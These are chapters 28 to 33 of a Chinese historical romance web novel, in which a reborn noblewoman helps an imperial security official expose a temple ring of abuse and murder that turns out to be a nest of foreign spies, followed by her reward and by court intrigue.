《开局捉奸,傍上权臣好孕来》
第28章 同一晚,她被他抱了两次
而此时的霍凝玉,正躺在一张暖玉床上。
她身体放松,自然闭着眼睛,假装成被**迷晕的模样。
她被两个尼姑扛到此处已经一刻多钟。
脸上的面纱还在。
虽然闭着眼,她也能感觉到周围点了灯,而且很亮。
外面奢靡的声音不断传入耳中。
“哎啊,升哥,你轻点嘛。”
“你又不是黄花大闺女,轻什么轻,都三十多的老婆子了。老子就想过瘾。”
“哼,看老娘不榨**。”
“这就对了嘛,人生就该享受,佛祖只在心头坐。”
......
霍凝玉听着不堪入耳的话,已无感,魂飘时进来,看了两个晚上,已经麻木。
这群你情我愿的畜生,毫无廉耻之心。
活在黑暗里,过着他们自认为快乐的日子。
肮脏,恶心。
当时她很想把这些人全都杀个精光,可是她只是轻如空气的魂魄,什么也做不了。
“佛子,您来了?”住持的声音。
“嗯,你派人通知本座,说是又有好货。让本座看看是什么样的好货。”一个年轻男子的声音。
霍凝玉身子绷紧。
来了!
前世她没看到过此人。
佛子到底是谁?
悄然把手放到腰间的**上,如果赵大人来不及,她就豁出去,直接杀了此人。
脚步声传来,停在床前。
”你出去吧,本座享受美食不喜人看着。“男子吩咐。
“是,佛子请自便。如果喜欢,可多留两日。”住持说完,离去。
男子的手轻轻揭开裹在霍凝玉身上的被子。
曼妙的身姿穿着干净的白色寝衣,胸口起伏着,带动那两团也一起一伏。
美极了!
“果然是好货。”男子带着淫邪的低语传入霍凝玉耳中。
她的心砰砰直跳,但她尽力压制住紧张,保持原状。
男子的手摸上她面纱的一角。
......
赵炳煜和余征顺着通道往前走。
走了大约半刻钟,就听到男女打情骂俏的声音不绝于耳。
再紧走几步,就看到通道两边出现一个个石室,每个室里有几人,有男有女,全是剃度的和尚和尼姑。
衣衫不整,抱在一起做那事,相互还在调笑。
看得余征火气噌噌上涨。
简直不堪入目。
这里可是京城,居然有如此肮脏的地方。
青楼都比这含蓄得多,至少关起门来做事。
他就要抽出腰间长剑,但被赵炳煜压住。
赵炳煜不知道霍凝玉在哪个房里。
他得等同伴来了再动手,就凭他们两人,恐有危险。
那些和尚,一身腱子肉,就知个个孔武有力,很像练家子。
当他看到之前见到过的住持从一间房里出来,还很小心地把门关上,猜霍凝玉应该就在那间房里。
这时,林宇带着人来了。
赵炳煜手一挥,动手。
兄弟们两人一组,各选一个房间冲进去。
赵炳煜直向他看准的那间房冲去。
推开门,正看到一光头男子已揭开裹着的被子,正要揭霍凝玉脸上的面纱。
听到声音,男子猛地一转头。
双目一凝。
“你是何人?”男子惊愕。
当看到是钟馗面具,瞬间猜出来者何人。
赵炳煜不废话,举剑就刺向男子。
男子眼睛一缩,矮身一躲,避开了赵炳煜的长剑。
而就在男子矮身之际,却从玉床下抽出一柄利剑。
两人就在这窄小的房间里交战起来。
来去十招,赵炳煜就试探出此人的武功路数,心里的震惊不亚晴空惊雷。
霍凝玉趁机睁开一点眼缝,看到是赵炳煜来了,一颗提得高高的心终于放下。
此人武功不弱,十五招过去,赵炳煜还没把人拿下。
霍凝玉为了不给他添乱,继续装晕,但眼睛始终睁着一条缝。
万一那人不小心给她一剑,她就死得太冤了。
好在那人并不在意“晕迷”的霍凝玉,一心应对赵炳煜。
两人谁都没说话,只专心想把对方击杀。
那人见快二十招了也拿不下赵炳煜,扫了一眼玉床上的霍凝玉,心生一计。
且战且退,靠近玉床,他要用霍凝玉做人质。
就在他靠近玉床时,赵炳煜也识破了他的想法,攻得更猛。
那人一闪腰正好后背压向霍凝玉。
机会难得。
就在此时。
霍凝玉毫不犹豫,抽出**,用尽全力,直直*
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*那人后背。
那人万万没想到霍凝玉身上有利器。
突来的疼痛让他一滞,赵炳煜抓住机会,剑架到男子颈上,同时快速点了男子的穴道。
成功拿下。
赵炳煜把男子推到地上,看到霍凝玉大口喘气,眼睛看向上方。
惊魂未定的模样。
“你可还好?”
“还好。”镇定了一下,霍凝玉一翻坐起,“刚才真是吓死我了。我真担心出现意外,你没跟上来。”
赵炳煜把人扶下玉床,霍凝玉两腿颤颤。
她虽死过一回,但前世只是一抹幽魂,什么都伤害不到她,而此刻她是活生生的人,有血有肉。
她从小被父母宠着长大,就是死前,谢正阳为了麻痹她,也对她很好。
从没遇到如此危险的时刻。
赵炳煜投来大加赞赏的眼神,换作别的闺阁女子,早吓哭了。
而她还能如此镇定,已属难得。
此时外面的打斗声也停止。
“头儿,全部拿下,这些和尚个个都武功不弱,好在没有武器,不然兄弟们得吃些苦头才能拿下。”余征出现在门口。
“嗯。”赵炳煜想到他进来时看到的那些人。
太污人眼。
取下霍凝玉脸上的面纱,把她的眼睛蒙住。
“赵大人,这是何意?”
“有些东西你最好不要看到。”赵炳煜温声道。
余征眼睛一亮。
头儿什么时候说话这么温柔了?
对他们这些下属说话从来都是冷冰冰的。
“收队,留两人把这些人都看住。”赵炳煜吩咐。
“赵大人,这些和尚应该就是离此不远的林缘寺的和尚。你最好连夜审,再顺藤摸瓜一并拿下。”霍凝玉提醒。
前世她没去林缘寺看过,毕竟全是男子,她一个女子不好去看。
但今晚听到住持叫那男子为佛子。
此人还武功高强,与赵大人基本打个平手,可见他身份一定不简单。
“好。我先送你上去休息。”赵炳煜一把抱起霍凝玉,迈步走出房间。
霍凝玉身子一绷。
她被一个陌生男子拦腰抱了。
同一晚被抱两次,第一次是形势所迫,而这次却完全没必要。
她有腿。
他是什么意思?
第29章 森森白骨一大片
她动了动,想下来自己走。
可,男人的胳膊收得更紧,不容她挣扎。
两边房间里,已没了刚才看到的奢靡景象。
女子已穿好衣服,但个个都吓得瑟瑟发抖。
男子都用他们的衣服捆住,被点了穴。
从地道里上来,赵炳煜才把霍凝玉放下。
“多谢。”霍凝玉取下蒙眼的面纱。
一切如之前那般平静。
上面的人对下面的事完全不知一般。
深夜的宁静下,却藏着如此肮脏,也不知道其他尼姑是否都参与那奢靡的生活。
赵炳煜亲自送霍凝玉去之前她睡的那个厢房休息。
“你什么都不要管,只管睡觉。明日本官亲自送你回府。”
霍凝玉点头。
而那两个值守的,早被亲随给带走了。
整个院子静得出奇。
霍凝玉当真没心没肺地睡着了。
而这一夜,赵炳煜做了很多事,忙得脚不沾地。
霍凝玉睡到自然醒。
看到日头已经起得老高,肚子也唱起了空城计。
她这是睡了多久?
揉了揉眼睛,准备下床。
门砰的一声被**力推开。
“凝玉!”容华芝焦急万分的心情,在看到女儿的这一刻才得到安慰。
后面跟着霍鸣羡。
“娘,你怎么来了?”霍凝玉不解。
母亲虽然说今日她如果没回去,就亲自来接她,但这也太早了吧。
“这么大的事,你居然瞒着娘。该打。”容华芝几步扑过去,把女儿搂在怀里,真在她后背轻拍了几下。
“妹妹,你胆子也太大了。我也以为你只是来救万小姐,今早我才知道你让我去通知赵大人是什么目的。”霍鸣羡听到消息时也吓了一跳。
“外面什么情况?”霍凝玉刚睡醒,什么也不知道。
“我们也不清楚,只听说赵大人昨晚后半夜调动了西城外的京畿营,把整个普陀庵和几里外的林缘寺都围了起来。
还把刑部和皇城司查到一年多的案子给破了。”霍鸣羡只得到这点消息。
“是你借来看万小姐的机会,带着赵大人来破案的对不对?”容华芝早就想到这个可能。
“娘就是聪明。不然也生不出我们兄妹三个同样聪明的孩子。”霍凝玉调笑,想缓和一下。
容华芝揪紧的心这才放松了些。
但孩子还是要教育。
“以后不可如此冒险。”得知消息的那一刻,她心都提到了嗓子眼。
“知道了。青黛有没有去我们家暂避?”霍凝玉怕好友得知普陀庵的消息,冲动跑来找她。
“去了,一早,赵大人就安排人送她来了霍府,不然我们也不知道发生这么大的事。”
也就是霍家是最先得到消息的。
“那就好。”
“昨晚你们是如何行动的?”霍鸣羡想知道得更具体。
“也没什么,就是先找到青黛,悄悄把她送下山后,我就带着赵大人开启普陀庵普贤菩萨殿里的机关。
下面有地道和地下室,正是普陀庵和林缘寺那帮畜生玩乐的地方。
赵大人带着十几人,个个都是武功高手,没几下就把下面的人控制住。”霍凝玉当然不会主动说出自己以身入局的事。
“普陀庵时不时有尼姑失踪,京里各家送到这里来思过的小姐,一来这里十有六七都寻**,就是那帮畜生把人玷污,或者直接折磨死,再制造成自尽的假象。
而那些小姐本就犯了错,被说成自尽,也不会引起怀疑。正好给了那些畜生可乘之机。”霍凝玉又继续道,说得咬牙切齿。
“如果我没有及时与赵大人来,青黛就是下一个。”
母子二人听得瞠目结舌。
“我的老天爷,这帮畜生怎么敢?”容华芝活了快四十年,也不会想到就在京城郊外,发生如此骇人听闻之事。
这么多年都没人发现异常。
突然,霍凝玉又想到一件事。
“大哥,赵大人在哪儿?还有一事,我没告诉他。”
“我也不知道,我这就去打听。”霍鸣羡转身出去。
妹妹是重生的,好些事她知道,能提早把这么肮脏的事揭露出来,是积大功德。
妹妹一定能过好这一世。
霍鸣羡对妹妹的选择,持赞成态度。
如果有人问起妹妹为什么知道那么多,得想个借口才行。
他刚走出没多远,就看到戴着面具的赵炳煜,而他手上正端着一个碗,冒着热气。
”赵大人,这是给我妹妹准备的?“霍鸣羡想到妹妹刚起床,肯定没吃东西。
“嗯。”赵炳煜一夜没睡,直到现在才忙完。
他也什么都没吃,但想到霍凝玉的功劳,让人煮了一碗面条,亲自端来。
要不是她,这案子还不知道要花多少时间。
而且还查到了当年刺杀皇上的凶手。
霍凝玉功不可没。
昨晚与他交手的那人,武功路数正是那批刺客所
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用的武功。
“妹妹说有事找你。”霍鸣羡接过碗。
两人进了厢房,霍凝玉已经洗漱好。
看到热气腾腾的面条,肚子更饿了。
“等我吃完再说事。”霍凝玉说完,毫不客气,哧溜哧溜吃起来。
母子两人表情各异看着没形象的女儿(妹妹)。
心里却是高兴的,女儿(妹妹)经历了前世那样的痛苦,还能保持开朗,活泼,太难得。
而赵炳煜戴着面具,不知什么表情。
霍凝玉几下吃完,擦了擦嘴。
“赵大人,我带你去个地方,叫上几个人,拿上挖地的工具。”
赵炳煜点了点头。
霍凝玉带着一群人来到普陀庵后面,一块花圃前。
八月金秋,花圃里只剩下周边的几棵桂花正开得满园香,其他都已枯萎。
但从枯萎的枝杆也能判断出春季时开的争奇斗艳。
“赵大人,让人挖花圃,挖深点,尤其那几棵桂花树下。”霍凝玉指着其中一棵。
脸上带着悲哀之色。
她魂飘时看到这里也飘着几抹幽魂,她们麻木的表情,毫无生气,最后也不知被风吹去了哪里,还是入了鬼门关,她不得而知。
她就猜,她们的尸身应该就埋在这下面。
赵炳煜一挥手,十几个士兵开始挖。
随着一锄锄挖下,越来越深。
“大人,有骨头。”一个士兵第一个挖到,惊叫。
但还不能判断是什么骨。
赵炳煜走过去,捡起骨头来看。
“继续挖。”
“大人,是人骨。”当一个骷髅被挖出来时,震惊了所有人。
“再挖。”赵炳煜声音冰冷得能冻住空气。
直到午时过,整整挖出二十一个骷髅头。
霍凝玉没有惧意,也走上前仔细查看那些骨头。
大人的骨很容易分辨。
可她看到还有少部分细小的。
“赵大人,这些小的也是成人身上的骨吗?我看着怎么那么像肋骨?”霍凝玉问道。
“那是孩子的。”赵炳煜早就看出。
“什么?那帮畜生,怎么连孩子都不放过?”霍凝玉再好的定力也被气炸。
“不是,这些骨是婴儿的,应该埋下没多长时间,这么小的婴儿,时间长的话,骨头也会化作泥。”赵炳煜解释道。
“婴儿?”霍凝玉疑惑,突然想到一个可能,“你是说这里还埋了很多刚出生的婴儿?”
简直不可思议。
第30章 再次请赵大人帮忙
“应该是。”赵炳煜点头。
“赵大人,是不是那些尼姑生下孩子,不养,直接埋了?”霍凝玉大胆说出自己的猜测。
“本官也是如此猜测。”
“作孽哟,这帮丧尽天良的狗东西。”容华芝被气得大骂。
双手合十,双眼微闭,开始念地藏菩萨本缘经,不然她无法平复自己心里的狂怒。
这时,一个身着铠甲的小将匆匆跑来。
“赵大人,普陀庵上下五十六人,林缘寺上下一百六十二人,全部押往京城刑部大牢。”
“可有漏网之鱼?”
“末将对过名单,是有少量,但据一些僧尼交代,不在名单里的都**。”小将答道。
普陀庵案终于水落石出。
赵炳煜说话算话,亲自送霍凝玉回府。
霍鸣羡推辞,他当没听见,一直护在霍凝玉坐的马车旁。
一张钟馗面具让人望而生畏。
看不到他的表情,不知他的喜怒。
刚一进京,就听到百姓的各种议论声。
都是在谈论普陀庵大案。
赵炳煜并没有隐瞒消息。
让百姓知道,也能引起他们的警觉。
佛门圣地,也有如此肮脏之事。
估计接下来好长一段时间,京城附近的几个寺庙和庵堂都要恨赵炳煜。
香火肯定受影响。
“你们说林缘寺的送子观音会不会也被那帮畜生给利用了?”有个心思活络的想得宽。
“你这话什么意思?”身边人没听懂。
“你想啊,林缘寺里和尚不是和尚。你说那些迟迟不能生养的女人去求观音赐子,会不会被迷晕了,再行那事,回家后不就有了吗?还感念观音菩萨灵验。”那人贼兮兮地解释。
“你别说,还真有可能。女人迟迟不孕,我听一位大夫说过,不一定是女人的问题,男人也一样可能有问题。要真是如此,那生下的孩子,是谁的,可就难说了。”
两人的话引起一阵哄笑。
赵炳煜给身边的余征使了个眼色。
这种话万不能传,不然不知多少去过林缘寺求子的妇人要遭夫家休弃,或者直接**都有可能。
“不想活了吗?还是想去皇城司走一趟?”余征怒喝,长剑出鞘。
寒光一闪,那个乱猜的男子头发被削去一大半。
“哎哟!”
“官爷,小的知错,知错,我自掌嘴巴。”那人跪在地上,自己掌起嘴来。
余征利眼扫了其他几人。
见势不妙,作鸟兽散。
可是悠悠众口,怎么堵得住。
一路上类似的妄议之语层出不穷。
“赵大人,那帮畜生,你最好先审审,他们有没有真的做那等事,不管有没有,你都请皇上出个皇榜以安民心。”霍凝玉为无辜的女子着想。
万一事情属实,真因此让无数女子坠入深渊,她良心不安。
“好。”赵炳煜一口应下。
又走了一段,霍凝玉听到有人在夸她。
“我们家三小姐终于可以安息了。多亏了霍家大小姐,要不是她知道内情,协助赵大人端了那贼窝,让事情大白于天下,还不知道有多少好人家的女儿受到祸害。
哎,我家三小姐不过是犯了点小错,就被主母发配去普陀庵,罪过啊。”
“你还是少说两句吧,当心你家夫人知道你在背后说她闲话,把你发卖了。”
“我的**契在姨娘手里,夫人还无权卖我。”
“你家姨娘再有本事,怎么没护住她亲生女儿,还不是让人给祸害了。”
“多谢提醒。你说霍家大小姐是怎么知道普陀庵下面的肮脏事的?”
“我怎么知道?听说她是去救万家小姐。可能运气好,正好碰上那帮畜生朝她下手吧。又正好被赵大人赶上,救了她,也破了这么久没破的奇案。
哎,还是没有苦主,才让这案子拖了这么久。朝廷的官员也不是个个都尽职。吃着皇粮不办事的还少吗?”
“你这张嘴,迟早要坏事。”
......
赵炳煜听到这些话反而没什么感觉。
说得对,他确实没尽力。
不过是几个犯错的小姐在普陀庵自尽,只有其中一家的母亲不相信自己的女儿会自尽,才到刑部报案,说她女儿可能是被人害死的,可又拿不出证据。
查验尸体,的确是投环自尽。
一年没查
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出来,那位母亲才鼓起勇气报到皇城司,希望他能还她女儿枉死的真相。
赵炳煜看了一眼把头伸出窗外看大街的霍凝玉。
与别的闺秀没什么区别。
可她却能临危不乱,镇定自若。
还能在关键时候挥出**。
看到那些人骨也不害怕。
她到底是怎么做到的?她又是怎么知道普陀庵秘密的?
疑问在心里集下一个又一个。
但现在不是问的时候。
“赵大人,我还有一事相求。”霍凝玉微笑道。
见快要到家了,有个事,她还想他帮忙。
“何事?”赵炳煜把马驱近了些,靠近车窗。
“青黛是我最好的朋友。她被送去普陀庵,是万夫人和万二小姐联合高家三公子高季晨一起设计害她的。
她已经十五岁,再不说亲就迟了。她嫁人,就要带走她娘留下的嫁妆。
她娘可是王家长房嫡女,当年出嫁十里红妆。而现在的万夫人,不过是高家记在嫡母名下的庶女,又是做续弦,肯定没有多少嫁妆。就打起了这个主意。
我想帮帮她。你一定有办法,对不对?”霍凝玉求起赵炳煜来毫无压力。
“霍小姐,本官是皇城司使。这种鸡毛蒜皮的小事,不在本官职责之内。”赵炳煜感觉这妮子把他当自家大哥在使唤。
不可惯她这毛病。
虽此次她又立了大功,但不代表有求必应。
霍凝玉肩膀一垮。
果然不近人情,她帮了这么大的忙,让他帮这点小忙都不答应,真是小气。
可又想到,她本就以普陀庵的消息回报当初助她退婚之事,一事求人家两事,确实有点贪心。
霍凝玉没求到人,有点沮丧。
仔细回忆了一下,还有什么事,能引起赵大人兴趣的,可以再用消息来换他帮忙。
思来想去,真有一件不得了的大事,但那事直到她重生都没暴露出来,此时也还没成型。
再想。
还真让她想到一件事,要是被赵大人给办了,还能折辰王的羽翼。
“赵大人,如果你再帮我这次,我又有一个消息告诉你。”霍凝玉诱惑道。
第31章 惊天大案,骇人听闻
赵炳煜定定看着霍凝玉,心里的疑惑更甚。
昨晚的事,他还没搞清楚,她是怎么知道的,现在又有消息告诉他。
她身上一定有秘密。
“什么消息?”
霍凝玉又让他附耳过去。
在他耳边悄声说了一句话。
赵炳煜不可置信看着她。
霍凝玉只是微笑与他眼神交汇。
赵炳煜虽带着面具,但眼睛却是外露的。
“好。本官应下了。但,你需告诉本官,你是如何得知的。”赵炳煜越发好奇起来。
“没问题,等你帮了我这次,我再告诉你。”霍凝玉得先和家人商量一下。
既然她有先知,当然不能藏着当什么也不知。
她还要靠先知来改变家人的命运。
而父亲是户部尚书,管整个南楚国疆土,田地,户籍,赋税,俸饷及财政事宜。
父亲能力出众,把户部管得很好,目前需要她提供消息的地方不多。
几个皇子想安插人手进户部都被父亲挡了,此举深得皇上认可。
国库何其重要。
她看好赵炳煜。
他是皇帝手里最好用的一把刀,她自退婚那天就认定,抱上他的大腿,很多事都好办得多。
他的身份,他的官职,他在皇帝面前的地位,都非常适合。
马车到了霍府门前,万青黛得了消息,匆匆跑来。
她自早上来了霍府就一直提着一颗心。
每过一段时间就让珍珠去打听,有什么消息传来。
当得知赵大人调动京畿营把普陀庵和林缘寺的尼姑和尚全都抓了,她才稍稍放下心。
“凝玉。”万青黛见到人完好无损回来,心才完全落进心窝。
“大姐,你好大的胆子。这么危险的事都不与我说一声。”霍鸣昶抱怨,脸上担忧显而易见。
“赵大人,多谢你送内眷回府,要不要进府喝杯茶?”霍鹏程刚下职,也到了门口。
“霍大人客气,本官还有要事,改日再来叨扰。”赵炳煜拱了拱手,打马而去。
离去前深深看了霍凝玉一眼。
身边跟着的一个亲随并驾到他身边。
“大人,属下刚接到消息。”
“什么消息?”赵炳煜放慢了马速。
“霍大公子昨日去护国寺,找了圆通大师。”亲随禀道。
“可知他找大师何事?”赵炳煜疑惑。
“他请大师帮忙,可大师没答应。”
接着亲随把霍鸣羡请圆通大帮什么忙说了一遍。
“你帮我带话给大师,请他务必帮这个忙,回头本官给他送一罐好茶,够他喝到明年春。”
“是,属下这就去。”
赵炳煜打马往刑部大牢而去。
这两日,刑部大牢惨叫声不绝于耳。
京里各种议论声也翻了天。
前几日,东宫三皇孙落水一事,余波未平,朝野上下尚在揣测之际,京城竟又爆出惊天大案,骇人听闻,令整个京城为之震颤。
尤其内宅妇人,更是个个恨得咬牙切齿。
户部尚书家的霍大小姐,做了一件令所有人瞠目结舌的壮举。
为救祭酒大人的孙女万青黛,不惜以身作饵,深入虎穴,与皇城司里应外合,将佛门净地掩盖下的滔天罪恶,彻底暴露于**之下。
表面香火鼎盛的普陀庵,背地里竟是与林缘寺的淫僧暗通款曲,行那等污秽不堪,人神共愤的苟且之事。
他们将那些被家族送去“静修”的贵女们视作玩物,囚于地下暗室,百般**。
多年来,所谓“小姐们不堪清苦,自寻短见”的离奇命案,背后竟全是这班泯灭人性的佛门败类所为。
那些贵女只是犯了点小错,被送去普陀庵,却不想全都羊入虎口。
佛祖座前,莲台之下,他们罪恶的嘴脸与肮脏的行事,简直视佛法纲常如无物。
皇城司连夜查封两处庙庵,捉拿两处僧尼近两百人。
家中曾有女眷送入普陀庵的官宦人家,更是又惊又怒。
那些失了女儿的母亲,一个个哭得柔肠寸断。
这些消息也只是表面上的。
还有不能让普通百姓知道的被赵炳煜压下了。
此时他正在御书房。
“臣,赵壑,参见皇上。”赵炳煜躬身一礼。
“免礼。审完了?”乾德帝从龙案后走出来,坐到窗前供大臣议事时坐的椅子上。
“是,这是案宗,请皇上过目。”
乾德帝接过,认真看起来。
越往后看,眉头皱得越紧。
眼里迸射出滔**意。
“该死的西凉国。”最终大骂出声。
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“皇上,五年前的那场刺杀,就是这些人所为。
当初臣与其中一人交手,他的武功路数很奇特,臣就记下了。
前晚与臣交手的那人用了同样的武功,臣才识破。
不然臣只当这是僧尼之间的一场污秽案来处理。”
赵炳煜很庆幸,五年前他在皇帝身边,参与了迎敌。
当年那场刺杀,那些人来得快去得也快,直到现在也没查出真正的凶手。
原来他们一直就藏在京郊,而且还是以僧人的身份。
而刺杀时,那些人都是有头发的,他们怎么也没联想到是僧人,麻痹了所有人。
从那之后,他才向皇上提出,他要建皇城司,专做皇上手中的利刃。
他有了这个身份与官职,行事方便很多。
“西凉人安插这么多人到我南楚,还就在朕眼皮子底下,气煞朕也。
朕命你在三年之内,以其人之道还治其人之身。朕的太子被他们废了,朕也要废了他的太子。”乾德帝帝王的威严显露无遗。
“臣遵旨。”赵炳煜领命。
“这次多亏了霍尚书之女。如果没有她提供消息,以身入局,助臣破了此案,还不知几时才能大白于天下。”赵炳煜又道。
这是在为霍凝玉请功。
“嗯,此女不错,当赏。几日前才救了朕的孙儿,现在又助你查出当年刺杀朕的凶手。的确功不可没。你说赏什么好?”乾德帝收起阴霾,脸上露出淡淡八卦之色。
“臣以为,此次她的功劳远高于臣。”赵炳煜没有明说赏什么。
但意思却很明显。
当重赏!
“哈哈,朕就赏她乡君爵位,可享千亩食邑。你觉得如何?”
“臣替霍大小姐谢陛下重赏。”赵炳煜躬身一礼。
这个赏赐的确足够。
“你的功劳也不小,这么多年,终于查清此事。也还了那些受害女子一个公道,你再传朕口谕去护国寺,让住持安排做一场法事,超度那些亡灵吧。”乾德帝心中有愧。
在京城地界,发生如此大案,而这么长时间也没查清,是他失职。
如果刑部收到报案,引起重视也不至于一年也没查清。
“是。”
“你要什么奖赏?赏个媳妇?”乾德帝故意如此说,面含调侃之意。
第32章 得封乡君
“臣告辞。”赵炳煜一拱手,不等乾德帝同意,匆匆离去。
“这小子,都二十三了,还不着急。哎,都怪他父王,把孩子给害了啊。”乾德帝幽幽一叹。
翌日。
皇上的圣旨下达霍家,三皇孙跟着传旨的太监也一起来了霍府。
“霍姐姐,我来找你玩。”赵凌哲自来熟。
霍凝玉怎么看都觉得这小子拜师只是个借口,就是想赖上她。
“我是大人,怎么陪你玩?”霍凝玉想翻白眼。
“霍姐姐,那天你下水来救我,游得好慢。
如果你游得再快一点,我就不会喝那么多水了,说明你身子太弱。
咱们一起玩抽陀螺,正好可以锻炼你的胳膊。”赵凌哲说得一本正经。
自己想玩,还找了这么冠冕堂皇的理由,她已经游得够快了,还嫌弃。
“好吧,先接旨,然后再陪你玩。”霍凝玉还不知道圣旨内容,但有猜测,肯定是奖赏。
当圣旨内容宣完,霍家人都面面相觑,皇上居然封了凝玉为乡君。
而且还有食邑。
霍凝玉的身份陡然拔高了一大截。
京中多少贵女遇到她都得行礼问安。
霍凝玉并不知道那些和尚正是当年刺杀皇帝的凶手,还是西凉国安插在南楚的细作。
霍家人很高兴,容华芝给了一个大大的红包给宣旨公公。
霍凝玉一高兴,陪着三皇孙玩得不亦乐乎。
直到霍鹏程下午下职回来,把赵凌哲带到书房好好考校了一番。
准备认真教导。
霍凝玉得封乡君的消息很快在京中传开。
谢正阳当日就得到消息。
心里闷闷的,来到城西小院。
“正阳,怎么了?”江宁一眼就发现他魂不守舍。
“皇城司使赵壑又办了一件漂亮的大案,你可听说了?”谢正阳收起落寞,握住江宁的手。
“早就听说了,只是我不太相信,怎么是霍凝玉帮着破的案?”江宁只能听到百姓议论,没有其它消息来源,谢正阳也不可能天天来这里。
他已经上职,每十日才有一日休息。
“我也不知道,今日皇上下旨封了她为乡君,而且还有一千亩食邑。说明她真的立了大功。”
江宁听后,神色一僵。这个消息她没有得到。
心里升起无限嫉妒。
“正阳,我上次说的事,你和伯爷商量过了吗?”江宁压下心里的涌动,问起正事。
“商量过了,可父亲目前还不敢下决定。别看圣上已五十二,但身体还很健朗。
太子虽体弱,但他毕竟是正统,就算太子有个万一,也不知要等到什么时候。
如果圣上撑到三皇孙成年,三皇孙也是正统,一些老臣定会大力支持三皇孙上位。”谢正阳也看得明白。
“正阳,有些事,是事在人为,而不是坐以待毙。
我觉得皇上传位给三皇孙的可能性非常小,少年天子坐不稳江山。皇上不可能不知道。
而辰王是大皇子,他占了长,这是最大的优势,而且他已经三十二岁,已入朝参政多年,他怎么甘心屈居一个孩子之下,他定会经营自己的势力。
我想伯爷定与你分析过辰王在朝中的势力。
提前投诚才能成为心腹,如果事到临头再投靠,就没有多少功劳了。”江宁竭力游说。
而且她早就看好辰王。
这时杨氏也进来。
她就在门外,已经听到女儿的话。
“大公子,宁儿说得很有道理。这几日,我与辰王府的一个幕僚搭上了关系。那人愿意把我与宁儿引荐给辰王。”杨氏微笑道。
她与女儿不能全靠谢正阳。
如果她们母女本身就有很大的价值,谢伯爷自会高看她们母女几分。
到那时,女儿嫁入谢家做正妻自然没阻力。
“真的?”
杨氏点头。
而此时,辰王府里,也同样在说此事。
辰王有一得力谋士,名曾永信,聪慧过人,深得辰王看重。
可他有沉疴,导致精力不济,已很久不曾为王爷办事。
辰王让府医全力救治,可见效甚微。
前几日出门赏景,散心,遇到一妇人正在急救一忽然晕倒的妇人,只简单扎了几针,那病者就清醒了,且无任何不适。
如此神奇的医术,引起了他的关注,特约那妇人
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到茶楼雅间。
请她看诊,没想到才几日时间,他的沉疴当真好转不少。
那妇人说,假以时日,定能痊愈。
“王爷,那妇人正是被霍家赶出来的江夫人。没想到她的医术如此了得。这么多年在霍家一直藏拙。”曾永信对杨氏的医术非常推崇。
“当真?”辰王对有能力的人自是欣赏几分,哪怕是个妇人。只要用得上,他不介意收拢。
“王爷,忠义伯手里有五千京畿卫。”曾永信点到为止。
“你是想让本王用这对母女来拉拢谢勋?”辰王瞬间明白他的意思。
“正是。那杨氏确有几分本事,关键时候我们也可用她救人卖好。
而且谢大公子对那江家女情根深种,如果我们把**女送进谢家,再通过她们母女来引导,这事定能成。”曾永信点头。
“霍鹏程本是中立,现在成了三皇孙的先生,不管他如何做都已贴上了**的标签。
而谢家与他因儿女婚事已成仇。谢家不可能投入太子门下。
谢家的爵位本就不保,忠义伯想要谋更大的前程必会选择哪位殿下投诚,所以我们应先下手为强。”曾永信继续分析。
“你说的有道理。这事好好合计合计,不可让父皇看出端倪。”辰王认同。
“王爷,属下有一计。”曾永信早就想好了。
“哦?”
“大公主!”曾永信只说了三个字。
辰王脸上露出满意的笑容。
“好,你身子既已大好,这事就交由你去办,务必办得漂亮。”
“属下遵命。”曾永信起身一礼。
“大皇姐在庄子上也住了快一年了,是时候回城了。
秦将军守边已久,也是时候回来了。
如果本王想办法把秦将军调回京,大皇姐定会感激本王。”辰王笑的意味深长。
“王爷殷明。”曾永信立即恭维,“只是可怜了驸马爷。”
“他有什么好可怜的?娶了皇家嫡长公主,王家得了不少好处,虽然皇姐的心不在他身上,他们并不亏。
王驸马身边的小妾至少有三个,个个都给他生了子女,不差皇姐为他生孩子。”
第33章 让你风风光光回府
八月二十五,秋高气爽。
万青黛在霍家住着,万家一直没派人来接。
霍凝玉不相信万家一点消息都不知道。
”凝玉,我......我想回家去,我不能一直住在霍府。“万青黛叨扰了几日,很不好意思。
虽然霍家人对她很好,可终究不是她的家。
要是霍伯母是她亲娘就好了。
这几日与霍家人生活在一起,看着他们一家人这么友爱温馨,她好羡慕。
夜里想起,多想自己的娘活着。
可是她的娘就是因为生她难产而死。
她又恨自己不该出生。
她所受的这些苦大概是在为害死亲娘赎罪。
“别急,我有办法让你风风光光回府。”霍凝玉劝道。
有了后娘就有了后爹,诚不欺人。
“大小姐,门房送来一封信。”一个小丫鬟小跑而来,手里拿着一封信。
霍凝玉接过,抽出一看。
就四个字:悦景茶楼。
字迹苍劲有力,力透纸背,笔锋凌厉,一看就出自男人之手。
等了几日,终于等到了。
“青黛,走,今日你就可以回家了。”霍凝玉高兴地拍了拍手。
两人稍作梳妆,就去外院叫上霍鸣羡一起出门。
大哥不能成日看书,适当出去走走,放松放松,才更利于学习。
几人乘上马车向悦景茶楼而去。
刚到门口,林宇就迎了上来。
“见过霍大公子,霍乡君,万小姐,请跟我来。”
林宇前面带路,把他们三人领进茶楼后院。
后面还有一排厢房,看样子不是用来招待客人的。
“请。”林宇打开一个厢房的门,把三人请了进去。
里面除了一张桌子和几个凳子,什么都没有。
林宇留下他们,就出去了。
霍凝玉走到窗前,看到他向大门那边去。
没过一会儿,他又领了两个人进来,但没进他们这间厢房,而是去了另一个厢房。
“祭酒大人,万郎中。”霍鸣羡已经认出两人。
正是万青黛的祖父万珩之,和她的父亲万裴德。
万裴德在工部任职,五品郎中。
林宇把人安顿好,来到中间的厢房。
“头儿,都到了。”
赵炳煜早就在此等着了。
地上正躺着一个五花大绑的男子,嘴被塞住。
正是高季晨。
赵炳煜蹲下身,把他嘴里的布巾一抽。
“赵壑,我可是高家三公子,又没犯律法,你凭什么抓我?”嘴巴刚一得了自由,他就咆哮起来。
自恃身份,不惧赵炳煜。
“啪!”一个响亮的巴掌甩在他脸上。
赵炳煜抽出帕子擦了擦。
**一巴掌,他的手脏了。
“你......你居然敢打我,我告诉你,明日御案上就有**你的折子。你无故抓世家公子,还动手**,你一个区区六品皇城司使,以为有圣上撑腰就敢为所欲为吗?”高季晨继续叫嚣。
“聒噪!林宇,先给他点苦头吃。”赵炳煜站起身,渡步到靠墙的椅子上坐下。
林宇干这活已经驾轻就熟。
上去就给高季晨几脚,而且很会选位置。让人疼得死去活来,却又没有吐血晕迷。
一声声惨叫传到两边厢房。
万青黛早就听出是高季晨的声音。
